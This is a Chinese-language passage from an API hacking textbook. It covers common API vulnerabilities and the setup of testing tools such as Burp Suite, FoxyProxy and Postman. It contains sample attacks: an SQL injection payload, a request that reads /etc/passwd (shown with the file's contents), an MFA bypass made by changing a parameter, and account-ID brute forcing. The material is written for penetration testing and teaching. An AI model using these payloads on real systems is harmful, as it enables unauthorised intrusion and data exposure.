X-Response-Time 头部是中间件,用于提供使用指标。在前面的示例中,它的值表示 566.43 毫秒。然而,如果 API 配置不当,这个头部可能作为一个旁路渠道,用于揭示现有资源。例如,如果 X-Response-Time 头部对不存在的记录有一致的响应时间,但对某些其他记录的响应时间有所增加,这可能表明这些记录存在。以下是一个示例:
HTTP/**UserA** 404 Not Found
`--snip--`
**X-Response-Time: 25.5**
HTTP/**UserB** 404 Not Found
`--snip--`
**X-Response-Time: 25.5**
HTTP/**UserC** 404 Not Found
`--snip--`
**X-Response-Time: 510.00**
在这种情况下,UserC 的响应时间值是其他资源响应时间的 20 倍。鉴于样本量较小,很难断定 UserC 是否存在。然而,假设你有数百或数千个请求的样本,并且知道某些存在和不存在的资源的平均 X-Response-Time 值。例如,假设你知道一个虚假帐户,如 /user/account/thisdefinitelydoesnotexist876,它的平均 X-Response-Time 为 25.5 毫秒。你还知道你的现有帐户 /user/account/1021 的 X-Response-Time 为 510.00 毫秒。如果你接着对所有帐户编号从 1000 到 2000 进行暴力破解请求,你可以查看结果并看到哪些帐户编号导致响应时间急剧增加。
任何向消费者提供敏感信息的 API 应该使用传输层安全协议(TLS)来加密数据。即使 API 仅在内部、私下或在合作伙伴层级提供,使用 TLS——这一加密 HTTPS 流量的协议——也是确保 API 请求和响应在网络传输过程中得到保护的最基本方法之一。配置错误或缺失的传输加密可能导致 API 用户在网络中以明文形式传递敏感 API 信息,在这种情况下,攻击者可以通过中间人(MITM)攻击捕获请求和响应并直接读取它们。攻击者需要能够访问与目标相同的网络,然后使用网络协议分析工具,如 Wireshark,来截获网络流量,从而查看消费者与提供者之间传递的信息。
当服务使用默认帐户和凭证,并且默认凭证已知时,攻击者可以使用这些凭证假冒该帐户的角色。这可能使他们能够访问敏感信息或管理功能,从而潜在地导致支持系统的安全漏洞。
最后,如果 API 提供者允许不必要的 HTTP 方法,则增加了应用程序无法正确处理这些方法或导致敏感信息泄露的风险。
你可以使用 web 应用程序漏洞扫描器(如 Nessus、Qualys、OWASP ZAP 和 Nikto)来检测这些安全配置错误。这些扫描器会自动检查 web 服务器版本信息、头部、cookie、传输加密配置和参数,以查看是否缺少预期的安全措施。如果你知道查找的内容,也可以手动检查这些安全配置错误,通过检查头部、SSL 证书、cookie 和参数来识别问题。
注入攻击
注入漏洞 出现的原因是请求被传递到 API 支持的基础设施时,API 提供者没有过滤输入以去除不需要的字符(这一过程被称为 输入清理)。因此,基础设施可能会将请求中的数据当作代码来执行。当这种漏洞存在时,你就能够进行注入攻击,如 SQL 注入、NoSQL 注入和系统命令注入。
在这些注入攻击中,API 会将未清理的负载直接传递给运行应用程序或其数据库的操作系统。因此,如果你向一个使用 SQL 数据库的易受攻击的 API 发送包含 SQL 命令的负载,API 会将这些命令传递给数据库,数据库会处理并执行这些命令。易受攻击的 NoSQL 数据库和受影响的系统也会发生类似的情况。
详细的错误信息、HTTP 响应码和意外的 API 行为都可能是你发现注入漏洞的线索。举个例子,如果你在账户注册过程中发送了 OR 1=0-- 作为地址,API 可能会将该负载直接传递给后台的 SQL 数据库,在那里 OR 1=0 语句会失败(因为 1 不等于 0),从而引发 SQL 错误:
POST /api/v1/register HTTP 1.1
Host: example.com
`--snip--`
{
"Fname": "hAPI",
"Lname": "Hacker",
"Address": **"' OR 1=0--"**,
}
后端数据库的错误可能会以响应的形式反馈给用户。在这种情况下,你可能会收到类似 “错误:你的 SQL 语法有误……” 的响应。任何直接来自数据库或支持系统的响应都是注入漏洞的明显指示。
注入漏洞往往伴随其他漏洞,如输入清理不当。以下示例中,你可以看到一个代码注入攻击,它利用 API 的 GET 请求来利用一个弱查询参数。在这种情况下,弱查询参数将请求中的任何数据直接传递到底层系统,而不会首先进行清理:
GET http://10.10.78.181:5000/api/v1/resources/books?show=/etc/passwd
以下响应体显示了 API 端点被篡改,显示了主机的 /etc/passwd 文件,暴露了系统中的用户信息:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
查找注入漏洞需要认真测试 API 端点,注意 API 的响应方式,然后构造尝试操控后台系统的请求。像目录遍历攻击一样,注入攻击已经存在了几十年,因此有许多标准的安全控制措施来保护 API 提供者免受这些攻击。我将在第十二章和第十三章展示执行注入攻击、编码流量和绕过标准控制的方法。
不当的资产管理
不当资产管理 是指组织暴露了已经退休或仍在开发中的 API。与任何软件一样,旧版 API 更容易存在漏洞,因为它们不再进行修补和升级。同样,仍在开发中的 API 通常不如生产版 API 安全。
不当资产管理可能导致其他漏洞,如过度数据暴露、信息泄露、大规模赋值、不当速率限制和 API 注入。对于攻击者来说,发现不当资产管理漏洞仅是进一步利用 API 的第一步。
你可以通过仔细关注过时的 API 文档、更新日志和仓库中的版本历史,发现不当的资产管理。例如,如果一个组织的 API 文档没有随着 API 的端点更新,它可能包含指向已不再支持的部分 API 的引用。组织通常会在端点名称中包含版本信息,以区分旧版和新版,例如 /v1/、/v2/、/v3/ 等等。仍在开发中的 API 通常使用类似 /alpha/、/beta/、/test/、/uat/ 和 /demo/ 的路径。如果你知道某个 API 当前使用 apiv3.org/admin,但部分 API 文档仍提到 apiv1.org/admin,你可以尝试测试不同的端点,看看 apiv1 或 apiv2 是否仍然活跃。此外,组织的更新日志可能会透露 v1 被更新或淘汰的原因。如果你能访问 v1,你可以测试这些弱点。
除了通过文档使用外,你还可以通过猜测、模糊测试或暴力请求来发现不当的资产管理漏洞。留意 API 文档或路径命名模式中的规律,然后基于你的假设进行请求。
业务逻辑漏洞
业务逻辑漏洞(也称为 业务逻辑缺陷 或 BLFs)是应用程序的预期功能,攻击者可以恶意利用它们。例如,如果一个 API 有一个上传功能,但没有验证编码后的负载,用户只要将文件编码后上传就可以。这将允许最终用户上传并执行任意代码,包括恶意负载。
这种类型的漏洞通常源于假设 API 消费者会遵循指示、值得信任或仅以某种方式使用 API。在这些情况下,组织基本上依赖于信任作为一种安全控制,期望消费者行为良好。不幸的是,即便是心地善良的 API 消费者也会犯错误,从而导致应用程序的安全性受到威胁。
2021 年初的 Experian 合作伙伴 API 泄漏事件就是一个 API 信任失败的典型例子。某个 Experian 合作伙伴被授权使用 Experian 的 API 进行信用检查,但该合作伙伴将 API 的信用检查功能添加到了他们的 web 应用中,意外地将所有合作伙伴级别的请求暴露给用户。当使用该合作伙伴的 web 应用时,请求可能会被拦截,如果请求中包含姓名和地址,Experian API 会返回该个人的信用分数和信用风险因素。造成这个业务逻辑漏洞的主要原因之一是 Experian 信任合作伙伴不会暴露 API。
另一个关于信任的问题是,凭据,如 API 密钥、令牌和密码,经常被盗取和泄露。当一个受信任的消费者的凭据被盗时,该消费者就可能变成披着羊皮的狼,造成严重破坏。如果没有强有力的技术控制,业务逻辑漏洞往往会产生最大的影响,导致被利用和妥协。
你可以搜索 API 文档,寻找业务逻辑漏洞的明显迹象。像以下的声明应该能点亮你脑袋上的灯泡:
-
“仅使用功能 X 来执行功能 Y。”
-
“不要使用端点 Y 执行 X 操作。”
-
“只有管理员应该执行请求 X。”
这些声明可能表明,API 提供商信任你不会执行任何被禁止的操作,如同指示的那样。当你攻击他们的 API 时,确保不遵守这些请求,以测试安全控制是否存在。
另一个业务逻辑漏洞出现在开发者假设消费者仅会使用浏览器与 web 应用交互,并且不会捕获发生在背后 API 请求的情况下。利用这种弱点所需的只是使用 Burp Suite Proxy 或 Postman 等工具拦截请求,然后在请求发送给提供商之前修改 API 请求。这可能使你能够捕获共享的 API 密钥或使用可能对应用程序安全产生负面影响的参数。
举个例子,考虑一个用户通常用来验证自己账户的 web 应用认证门户。假设 web 应用发出了以下 API 请求:
POST /api/v1/login HTTP 1.1
Host: example.com
`--snip--`
UserId=hapihacker&password=arealpassword!&**MFA=true**
我们有可能通过简单地将参数 MFA 改为 false 来绕过多因素认证。
测试业务逻辑缺陷可能具有挑战性,因为每个业务都是独特的。自动化扫描器很难检测到这些问题,因为这些缺陷是 API 预期用途的一部分。你必须理解业务和 API 的运作方式,然后考虑如何利用这些特性为自己谋利。以对立的心态研究应用程序的业务逻辑,并尝试打破任何已做出的假设。
总结
在这一章中,我介绍了常见的 API 漏洞。熟悉这些漏洞非常重要,这样你可以轻松识别它们,在渗透测试中利用它们,并将其报告给组织,防止罪犯将你的客户拖入头条新闻。
现在你已经熟悉了 web 应用、API 及其弱点,是时候准备好你的黑客工具并开始在键盘上动手了。
第五章:您的 API 黑客系统

本章将指导您设置 API 黑客工具包。我们将介绍三个特别有用的 API 黑客工具:Chrome 开发者工具、Burp Suite 和 Postman。
除了探索付费版本 Burp Suite Pro 中的功能外,我还将提供一份工具列表,用于弥补免费版 Burp Suite Community Edition 中缺失的功能,以及一些其他有助于发现和利用 API 漏洞的工具。在本章末,我们将通过一个实验室,您将学习如何使用这些工具与我们的第一个 API 进行交互。
Kali Linux
在本书中,我们将使用 Kali 运行工具和实验,Kali 是基于 Debian 的开源 Linux 发行版,专为渗透测试设计,已经安装了许多有用的工具。您可以在 www.kali.org/downloads 下载 Kali。很多教程可以指导您设置所选的虚拟化平台并安装 Kali。我推荐 Null Byte 的《如何开始使用 Kali Linux》或 www.kali.org/docs/installation 上的教程。
在您的 Kali 实例设置完成后,打开终端并执行更新和升级:
$ **sudo apt update**
$ **sudo apt full-upgrade -y**
接下来,安装 Git、Python 3 和 Golang(Go),这些工具是您在使用某些黑客工具时需要的:
$ **sudo apt-get install git python3 golang**
安装了这些基础工具后,您应该准备好设置剩余的 API 黑客工具。
使用 DevTools 分析 Web 应用
Chrome 的开发者工具(DevTools)是内置于 Chrome 浏览器中的一套开发工具,允许您从 Web 开发者的角度查看您的浏览器正在运行的内容。DevTools 是一个常被低估的资源,但它对 API 黑客来说非常有用。我们将使用它与目标 Web 应用进行首次交互,以发现 API;通过控制台与 Web 应用进行交互;查看请求头、预览和响应;分析 Web 应用的源代码文件。
要安装包含 DevTools 的 Chrome,请运行以下命令:
$ **sudo wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb**
$ **sudo apt install ./google-chrome-stable_current_amd64.deb**
您可以通过命令行使用 google-chrome 命令启动 Chrome。一旦 Chrome 启动,导航到您想要调查的 URL,并通过按 ctrl-shift-I 或 F12 或进入 设置▶更多工具,选择 开发者工具 菜单来启动 DevTools。接下来,刷新当前页面以更新 DevTools 面板中的信息。您可以通过 ctrl-R 快捷键来实现此操作。在网络面板中,您应该看到从 API 请求的各种资源(见 图 4-1)。

图 4-1:Chrome DevTools 网络面板
通过选择顶部的选项卡切换面板。开发者工具面板列出了不同选项卡的功能。我已在表 4-1 中总结了这些内容。
表 4-1:开发者工具面板
| 面板 | 功能 |
|---|---|
| 元素 | 允许你查看当前页面的 CSS 和文档对象模型(DOM),从而使你能够检查构建网页的 HTML。 |
| 控制台 | 提供警告信息并让你与 JavaScript 调试器互动,以修改当前网页。 |
| 源代码 | 包含构成 web 应用程序的目录以及源文件的内容。 |
| 网络 | 列出了构成客户端视角的 web 应用程序的所有源文件请求。 |
| 性能 | 提供记录和分析加载网页时发生的所有事件的方法。 |
| 内存 | 让你记录和分析浏览器如何与系统内存互动。 |
| 应用程序 | 提供应用程序清单、存储项(如 cookies 和会话信息)、缓存和后台服务。 |
| 安全性 | 提供关于传输加密、源内容来源和证书详细信息的洞察。 |
当我们第一次开始与 web 应用程序交互时,通常会从网络面板开始,以概览支持 web 应用程序的资源。在图 4-1 中,每一项都表示为特定资源发出的请求。通过网络面板,你可以深入每个请求,查看使用的请求方法、响应状态码、头部信息和响应体。为此,只需在名称栏下点击感兴趣的 URL 名称。这将打开开发者工具右侧的面板。现在你可以在“头部”标签下查看发出的请求,并在“响应”标签下查看服务器的回应。
深入分析 web 应用程序时,你可以使用源代码面板来检查应用程序中使用的源文件。在抓旗(CTF)事件中(有时在现实中也是如此),你可能会在这里发现 API 密钥或其他硬编码的密钥。源代码面板配备了强大的搜索功能,可以帮助你轻松发现应用程序的内部工作原理。
控制台面板对于运行和调试网页的 JavaScript 非常有用。你可以使用它来检测错误、查看警告并执行命令。你将在第六章的实验中使用控制台面板。
我们大多数时间会花在控制台、源代码和网络面板中。不过,其他面板也同样有用。例如,性能面板主要用于提升网站速度,但我们也可以使用它来观察 web 应用程序何时与 API 互动,如图 4-2 所示。

图 4-2:DevTool 性能标签页,显示 Twitter 应用与 Twitter API 交互的确切时刻
在图 4-2 中,我们看到 1,700 毫秒时,一个客户端事件触发了 Twitter 应用与 API 的交互。作为客户端,我们可以将这个事件与我们在页面上执行的操作相关联,例如登录到 Web 应用,以了解 Web 应用如何使用 API。我们能在攻击 API 前收集到的信息越多,找到并利用漏洞的机会就越大。
欲了解更多有关 DevTools 的信息,请查看 Google 开发者文档:developers.google.com/web/tools/chrome-devtools。
使用 Burp Suite 捕获和修改请求
Burp Suite 是一套由 PortSwigger 开发并不断改进的精彩 Web 应用测试工具。所有 Web 应用安全专家、漏洞奖励猎人和 API 黑客都应该学习使用 Burp,它允许你捕获 API 请求、爬取 Web 应用、模糊测试 API 等等。
爬虫,或称 网页爬取,是一种自动检测主机 URL 路径和资源的方法。通常,爬虫是通过扫描网页 HTML 中的超链接来完成的。爬虫是了解网页内容的一个好方法,但它无法找到 隐藏的 路径,或者那些在网页中没有超链接的路径。要找到隐藏路径,我们需要使用像 Kiterunner 这样的工具,它能有效执行目录暴力攻击。在这种攻击中,应用会请求各种可能的 URL 路径,并根据主机的响应验证这些路径是否存在。
如 OWASP 社区页面所述,模糊测试是“自动寻找漏洞的艺术”。使用这种攻击技术,我们会向 HTTP 请求发送各种类型的输入,试图找到能够使应用以意外方式响应并暴露漏洞的输入或负载。例如,如果你在攻击 API 时发现可以向 API 提供者发送数据,那么你可以尝试发送各种 SQL 命令。如果提供者没有对这些输入进行过滤,就有可能收到一个响应,表明 SQL 数据库正在使用中。
Burp Suite Pro 是 Burp 的付费版,提供所有功能且没有限制,但如果你只能使用免费的 Burp Suite Community Edition(CE),也是可以工作的。然而,一旦你获得了漏洞奖励,或者一旦能说服你的雇主,你应该升级到 Burp Suite Pro。本章包含一个“补充工具”部分,帮助替代 Burp Suite CE 中缺失的功能。
Burp Suite CE 已包含在最新版本的 Kali 中。如果由于某种原因未安装,可以运行以下命令:
$ **sudo apt-get install burpsuite**
在接下来的部分中,我们将准备我们的 API 攻击工具来使用 Burp Suite,了解 Burp 各个模块的概况,学习如何拦截 HTTP 请求,深入研究 Intruder 模块,并了解一些可以用来增强 Burp Suite Pro 的扩展插件。
设置 FoxyProxy
Burp Suite 的一个关键特性是能够拦截 HTTP 请求。换句话说,Burp Suite 会在将请求转发到服务器之前接收你的请求,然后在将服务器的响应发送到浏览器之前接收服务器的响应,这样你就可以查看并与这些请求和响应进行交互。为了使此功能正常工作,我们需要定期将请求从浏览器发送到 Burp Suite。这是通过使用网络代理实现的。代理是一种将网页浏览器流量重定向到 Burp 的方式,然后再发送给 API 提供者。为了简化这个过程,我们将在浏览器中添加一个名为 FoxyProxy 的工具,帮助我们通过点击按钮来代理流量。
网络浏览器自带代理功能,但每次想使用 Burp 时都要修改和更新这些设置会很麻烦。相反,我们将使用一个名为 FoxyProxy 的浏览器插件,它可以让你通过简单点击按钮开启和关闭代理。FoxyProxy 支持 Chrome 和 Firefox 浏览器。
按照以下步骤安装 FoxyProxy:
-
前往你的浏览器插件或扩展商店,搜索FoxyProxy。
-
安装 FoxyProxy Standard 并将其添加到你的浏览器。
-
点击浏览器右上角的狐狸图标(在 URL 旁边),然后选择选项。
-
选择代理▶添加新代理▶手动代理配置。
-
添加127.0.0.1作为主机 IP 地址。
-
更新端口为8080(Burp Suite 的默认代理设置)。
-
在“常规”标签下,将代理重命名为Hackz(在整个实验中我会引用这个代理设置)。
现在你只需要点击浏览器插件并选择你想使用的代理,将流量发送到 Burp。当你完成拦截请求后,可以通过选择禁用 FoxyProxy 选项来关闭代理。
添加 Burp Suite 证书
HTTP 严格传输安全(HSTS)是常见的 Web 应用程序安全策略,它阻止 Burp Suite 拦截请求。无论是使用 Burp Suite CE 还是 Burp Suite Pro,你都需要安装 Burp Suite 的证书授权(CA)证书。要添加此证书,请按照以下步骤操作:
-
启动 Burp Suite。
-
打开你选择的浏览器。
-
使用 FoxyProxy,选择 Hackz 代理。导航至http://burpsuite,如图 4-3 所示,点击CA 证书。这将启动下载 Burp Suite CA 证书。
![F04003]()
图 4-3:下载 Burp Suite CA 证书时应看到的登录页面
-
将证书保存在你可以找到的位置。
-
打开浏览器并导入证书。在 Firefox 中,打开 偏好设置,使用搜索框查找 证书,然后导入证书。
-
在 Chrome 中,打开 设置,使用搜索框查找 证书,选择 更多▶管理证书▶授权机构,然后导入证书(见 图 4-4)。如果没有看到证书,你可能需要将文件类型选项扩展为 “DER” 或 “所有文件”。
![F04004]()
图 4-4:选择了 Authorities 标签的 Chrome 证书管理器
现在你已经将 PortSwigger CA 证书添加到浏览器中,你应该能够正常拦截流量而不会遇到问题。
浏览 Burp Suite
如你在 图 4-5 中所见,Burp 的顶部有 13 个模块。

图 4-5:Burp Suite 模块
Dashboard 提供了对事件日志和你针对目标运行的扫描的概览。在 Burp Suite Pro 中,Dashboard 比在 CE 中更有用,因为它还会显示测试过程中检测到的任何问题。
Proxy 标签是我们开始捕获来自 Web 浏览器和 Postman 的请求和响应的地方。我们设置的代理将把任何发往你浏览器的 Web 流量发送到这里。我们通常会选择转发或丢弃捕获的流量,直到找到我们希望与之交互的目标站点。从 Proxy,我们将请求或响应转发到其他模块进行交互和篡改。
在 Target 标签中,我们可以看到网站的地图并管理我们打算攻击的目标。你还可以使用此标签通过选择 Scope 标签来配置测试范围,并包括或排除 URL。将 URL 包含在范围内将限制被攻击的 URL 仅限于你有权限攻击的那些。
在使用 Target 标签时,你应该能够找到 Site Map,在这里你可以看到 Burp Suite 在当前会话中检测到的所有 URL。当你执行扫描、爬虫或代理流量时,Burp Suite 会开始编译目标 Web 应用程序和已发现目录的列表。这是另一个可以添加或移除 URL 的地方。
Intruder 标签是我们将执行模糊测试和暴力破解攻击的地方。一旦你捕获了 HTTP 请求,就可以将其转发到 Intruder,在那里你可以选择请求中要替换为有效载荷的具体部分,然后再将其发送到服务器。
Repeater 是一个模块,允许你对 HTTP 请求进行实际操作,发送它们到目标 Web 服务器,并分析 HTTP 响应的内容。
Sequencer 工具将自动发送数百个请求,并通过熵分析来判断给定字符串的随机性。我们主要使用该工具分析 cookies、令牌、密钥和其他参数是否真正具有随机性。
Decoder 是一种快速编码和解码 HTML、base64、ASCII 十六进制、十六进制、八进制、二进制和 Gzip 的方式。
Comparer 可用于比较不同的请求。通常情况下,你会希望比较两个相似的请求,并找出其中被移除、添加或修改的部分。
如果 Burp Suite 对你的黑客眼睛来说太亮了,可以前往 用户选项▶显示,将 外观 改为 Darcula。在用户选项标签下,你还可以找到其他连接配置、TLS 设置以及一些杂项选项,用来学习快捷键或配置你自己的快捷键。然后,你可以通过项目选项保存你的首选设置,这允许你为每个项目保存和加载特定的配置。
Learn 是一套精彩的资源,帮助你学习如何使用 Burp Suite。这个标签包含视频教程、Burp Suite 支持中心、Burp 功能的引导式介绍,以及 PortSwigger Web 安全学院的链接。如果你是 Burp 新手,强烈建议你查看这些资源!
在仪表板下,你可以找到 Burp Suite Pro 扫描器。Scanner 是 Burp Suite Pro 的 web 应用漏洞扫描器。它可以自动爬取 web 应用并扫描漏洞。
Extender 是我们获取和使用 Burp Suite 扩展的地方。Burp 有一个应用商店,允许你找到简化 Web 应用测试的插件。许多扩展需要 Burp Suite Pro,但我们将充分利用免费的扩展,将 Burp 打造成一个 API 破解强大工具。
拦截流量
一次 Burp Suite 会话通常从拦截流量开始。如果你已经正确设置了 FoxyProxy 和 Burp Suite 证书,那么以下过程应该会顺利进行。你可以按照这些步骤用 Burp Suite 拦截任何 HTTP 流量:
-
启动 Burp Suite 并将拦截选项更改为 拦截已开启 (参见 图 4-6)。
![F04006]()
图 4-6:Burp Suite 中拦截已开启。
-
在浏览器中,使用 FoxyProxy 选择 Hackz 代理并访问你的目标网站,比如
twitter.com(参见 图 4-7)。该网页不会在浏览器中加载,因为它从未发送到服务器;相反,请求应该会等待你在 Burp Suite 中处理。![F04007]()
图 4-7:通过 Hackz 代理,向 Burp Suite 发送的 Twitter 请求。
-
在 Burp Suite 中,你应该会看到类似于 图 4-8 的内容。这应该能告诉你,你已成功拦截了一个 HTTP 请求。
![F04008]()
图 4-8:Burp Suite 拦截的 Twitter HTTP 请求
捕获请求后,你可以选择对其执行某些操作,比如将截获的请求转发到 Burp Suite 的其他模块。你可以通过点击请求窗格上方的“操作”按钮,或者右键点击请求窗口来执行操作。然后,你将有机会将请求转发到其他模块,例如 Repeater(参见图 4-9)。

图 4-9:Burp Suite Repeater
Repeater 模块是查看 Web 服务器如何响应单个请求的最佳方式。这对于在发起攻击之前了解 API 可能的响应非常有用。它也有助于你在需要对请求进行细微修改并查看服务器响应时使用。
使用 Intruder 修改请求
我们已经提到过,Intruder 是一个 Web 应用程序模糊测试和扫描工具。它的工作原理是让你在截获的 HTTP 请求中创建变量,将这些变量替换为不同的 Payload 集,并向 API 提供者发送一系列请求。
捕获的 HTTP 请求的任何部分都可以通过用§符号将其包围来转换为变量或攻击位置。Payload 可以是从字典列表到一组数字、符号,甚至是任何其他有助于你测试 API 响应类型的输入。例如,在图 4-10 中,我们已将密码选择为攻击位置,正如§符号所示。

图 4-10:针对 api.twitter.com 的 Intruder 攻击
这意味着SuperPass321!将会被从 Payloads 中的字符串列表中替换。前往 Payloads 标签页查看这些字符串,如图 4-11 所示。

图 4-11:Intruder 的 Payloads,显示了一系列密码列表
根据这里展示的 Payload 列表,Intruder 会针对列出的每个 Payload 执行一次请求,总共进行九次请求。当攻击开始时,Payload 选项下的每个字符串会依次替换SuperPass123!,并生成请求发送到 API 提供者。
Intruder 攻击类型决定了 Payload 如何处理。正如在图 4-12 中所见,攻击类型有四种:狙击手、重锤、叉子和集束炸弹。

图 4-12:Intruder 攻击类型
狙击手是最简单的攻击类型;它将新增的攻击位置替换为从单一有效载荷集合中提供的字符串。狙击手攻击仅使用单一的有效载荷,但可以有多个攻击位置。狙击手攻击将在每个请求中替换一个攻击位置,循环通过每个请求中的不同攻击位置。如果你用单一有效载荷攻击三个不同的变量,它可能会是这样:
§`Variable1`§*,* §`variable2`§*,* §`variable3`§
Request 1: **Payload1**, variable2, variable3
Request 2: Variable1, **payload1**, variable3
Request 3: Variable1, variable2, **payload1**
冲击锤类似于狙击手攻击,因为它也使用单一的有效载荷,但它会在请求中的所有攻击位置上使用该有效载荷。如果你正在测试请求中的多个输入位置上的 SQL 注入漏洞,你可以通过冲击锤同时对它们进行模糊测试。
叉形攻击用于同时测试多个有效载荷组合。例如,如果你有一个泄露的用户名和密码组合列表,你可以将两个有效载荷一起使用,测试这些凭证是否在正在测试的应用程序中被使用。然而,这种攻击并不会尝试不同的有效载荷组合;它只会按以下方式循环通过有效载荷集:user1:pass1,user2:pass2,user3:pass3。
集群炸弹会循环通过所有提供的有效载荷的可能组合。如果你提供了两个用户名和三个密码,以下的组合会被使用:user1:pass1,user1:pass2,user1:pass3,user2:pass1,user2:pass2,user2:pass3。
使用哪种攻击类型取决于你的情况。如果你正在模糊测试单一的攻击位置,使用狙击手。如果你要同时对多个攻击位置进行模糊测试,使用冲击锤。当你需要测试一组有效载荷的组合时,使用叉形攻击。对于密码喷射攻击,使用集群炸弹。
Intruder 应该帮助你找到 API 漏洞,如破损的对象级授权、过度的数据暴露、破损的身份验证、破损的功能级授权、大规模赋值、注入和不当的资产管理。Intruder 本质上是一个智能模糊测试工具,它提供包含单个请求和响应的结果列表。你可以与你想要模糊测试的请求进行交互,并用你选择的输入替换攻击位置。这些 API 漏洞通常是通过将正确的有效载荷发送到正确的位置来发现的。
例如,如果一个 API 对像 BOLA 这样的授权攻击存在漏洞,我们就能够用一个包含可能资源 ID 列表的有效载荷来替换请求的资源 ID。然后我们可以用 Intruder 发起攻击,Intruder 会发出所有请求并为我们提供一个结果列表供审查。我将在第九章讨论 API 模糊测试,第十章讨论 API 授权攻击。
在 Postman 中构造 API 请求,一个 API 浏览器
我们将使用 Postman 来帮助我们构建 API 请求并可视化响应。您可以将 Postman 看作是一个专为与 API 交互而设计的 Web 浏览器。最初作为 REST API 客户端设计,它现在具备与 REST、SOAP 和 GraphQL 交互的各种能力。该应用程序具有创建 HTTP 请求、接收响应、脚本编写、链式请求、自动化测试和管理 API 文档等众多功能。
我们将使用 Postman 作为我们发送 API 请求到服务器的首选浏览器,而不是默认使用 Firefox 或 Chrome。本节将介绍 Postman 中最重要的功能,并包括使用 Postman 请求构建器的说明、与集合合作的概述,以及构建请求测试的一些基础知识。稍后在本章中,我们将配置 Postman 以便与 Burp Suite 无缝协作。
要在 Kali 上设置 Postman,请打开终端并输入以下命令:
$ **sudo wget https://dl.pstmn.io/download/latest/linux64 -O postman-linux-x64.tar.gz**
$ **sudo tar -xvzf postman-linux-x64.tar.gz -C /opt**
$ **sudo ln -s /opt/Postman/Postman /usr/bin/postman**
如果一切按计划进行,您应该能够通过在终端中输入postman来启动 Postman。使用电子邮件地址、用户名和密码注册一个免费帐户。Postman 使用帐户进行协作并在设备之间同步信息。或者,您可以通过点击跳过登录并直接进入应用程序按钮跳过登录界面。
接下来,您需要再次完成 FoxyProxy 设置过程(请参考本章前面的“设置 FoxyProxy”部分),以便 Postman 可以拦截请求。返回到步骤 4 并添加一个新代理。添加相同的主机 IP 地址,127.0.0.1,并将端口设置为5555,这是 Postman 代理的默认端口。在常规选项卡下更新代理的名称为Postman并保存。您的 FoxyProxy 标签现在应类似于图 4-13。

图 4-13:配置 Hackz 和 Postman 代理的 FoxyProxy
从启动板打开一个新标签页,就像在其他浏览器中一样,通过点击新标签按钮(+)或使用 ctrl-T 快捷键。如图 4-14 所示,如果您不熟悉 Postman 的界面,它可能会有点令人不知所措。

图 4-14:Postman 的主登录页面,显示来自 API 集合的响应
让我们从讨论请求构建器开始,当您打开一个新标签时,您将看到它。
请求构建器
请求构建器,如图 4-15 所示,是您可以通过添加参数、授权头等来构建每个请求的地方。

图 4-15:Postman 请求构建器
请求构建器包含几个有助于精确构建请求参数、头信息和正文的标签。Params 标签是您可以在请求中添加查询和路径参数的地方。基本上,这允许您输入各种键值对,并附上这些参数的描述。Postman 的一个优秀功能是,当创建请求时,您可以利用变量的强大功能。如果您导入了一个 API,并且它包含像 :company 这样的变量,出现在 http://example.com/:company/profile 中,Postman 会自动检测到这一点,并允许您将变量更新为不同的值,例如实际的公司名称。我们将在本节稍后讨论集合和环境。
Authorization 标签页包含多种标准的授权头,供您在请求中使用。如果您已在环境中保存了一个令牌,您可以选择令牌类型,并使用变量名称来包含它。将鼠标悬停在变量名称上时,您可以看到相关的凭据。在 Type 字段下,有几种授权选项可以帮助您自动格式化授权头。授权类型包括一些常见的选项,如无身份验证、API 密钥、Bearer Token 和 Basic Auth。此外,您还可以选择通过选择 inherit auth from parent 来使用为整个集合设置的授权。
Headers 标签页包含某些 HTTP 请求所需的键值对。Postman 具有一些内置功能,可以自动创建必要的头信息,并提供常见头信息的预设选项。
在 Postman 中,参数、头信息和正文部分的值可以通过在 Key 列和相应的 Value 列中输入信息来添加(请参见 图 4-16)。一些头信息会自动创建,但在必要时您可以添加自己的头信息。
在键值对中,您还可以使用集合变量和环境变量。(我们稍后会介绍集合。)例如,我们使用变量名称 {admin_creds} 来表示密码键的值。

图 4-16:Postman 键值头信息
请求构建器还可以运行预请求脚本,这可以将不同的请求链式连接在一起,互相依赖。例如,如果请求 1 返回一个资源值,而该资源值是后续请求所需的,您可以通过脚本将该资源值自动添加到请求 2 中。
在 Postman 的请求构建器中,你可以使用多个面板来构造合适的 API 请求并查看响应。一旦你发送了请求,响应会显示在响应面板中(见图 4-17)。

图 4-17:Postman 请求和响应面板
你可以将响应面板设置为位于请求面板的右侧或下方。通过按 ctrl-alt-V,你可以在单窗格视图和拆分窗格视图之间切换请求和响应面板。
在表 4-2 中,我已将项目分为请求面板和响应面板。
表 4-2:请求构建器面板
| 面板 | 用途 |
|---|---|
| 请求 | |
| HTTP 请求方法 | 请求方法位于请求 URL 栏的左侧(在图 4-17 的左上角,有一个 GET 的下拉菜单)。选项包括所有标准请求:GET、POST、PUT、PATCH、DELETE、HEAD 和 OPTIONS。它还包括其他一些请求方法,如 COPY、LINK、UNLINK、PURGE、LOCK、UNLOCK、PROPFIND 和 VIEW。 |
| 正文 | 在图 4-17 中,这是请求面板中的第三个标签页。它允许向请求中添加正文数据,主要用于在使用 PUT、POST 或 PATCH 时添加或更新数据。 |
| 正文选项 | 正文选项是响应的格式。这些选项位于选中正文标签时下面。目前的选项包括无、表单数据、x-www-formurlencoded、原始、二进制和 GraphQL。这些选项让你以不同的形式查看响应数据。 |
| 请求前脚本 | 基于 JavaScript 的脚本,可以在发送请求之前添加并执行。这可用于创建变量、帮助排查错误以及更改请求参数。 |
| 测试 | 这个区域允许编写基于 JavaScript 的测试,用于分析和测试 API 响应。它用于确保 API 响应按预期工作。 |
| 设置 | 各种设置,用于控制 Postman 如何处理请求。 |
| 响应 | |
| 响应正文 | HTTP 响应的正文。如果 Postman 是一个典型的网页浏览器,这将是查看请求信息的主窗口。 |
| Cookies | 这显示了 HTTP 响应中包含的所有 cookie(如果有的话)。该标签会包含关于 cookie 类型、cookie 值、路径、过期时间和 cookie 安全标志的信息。 |
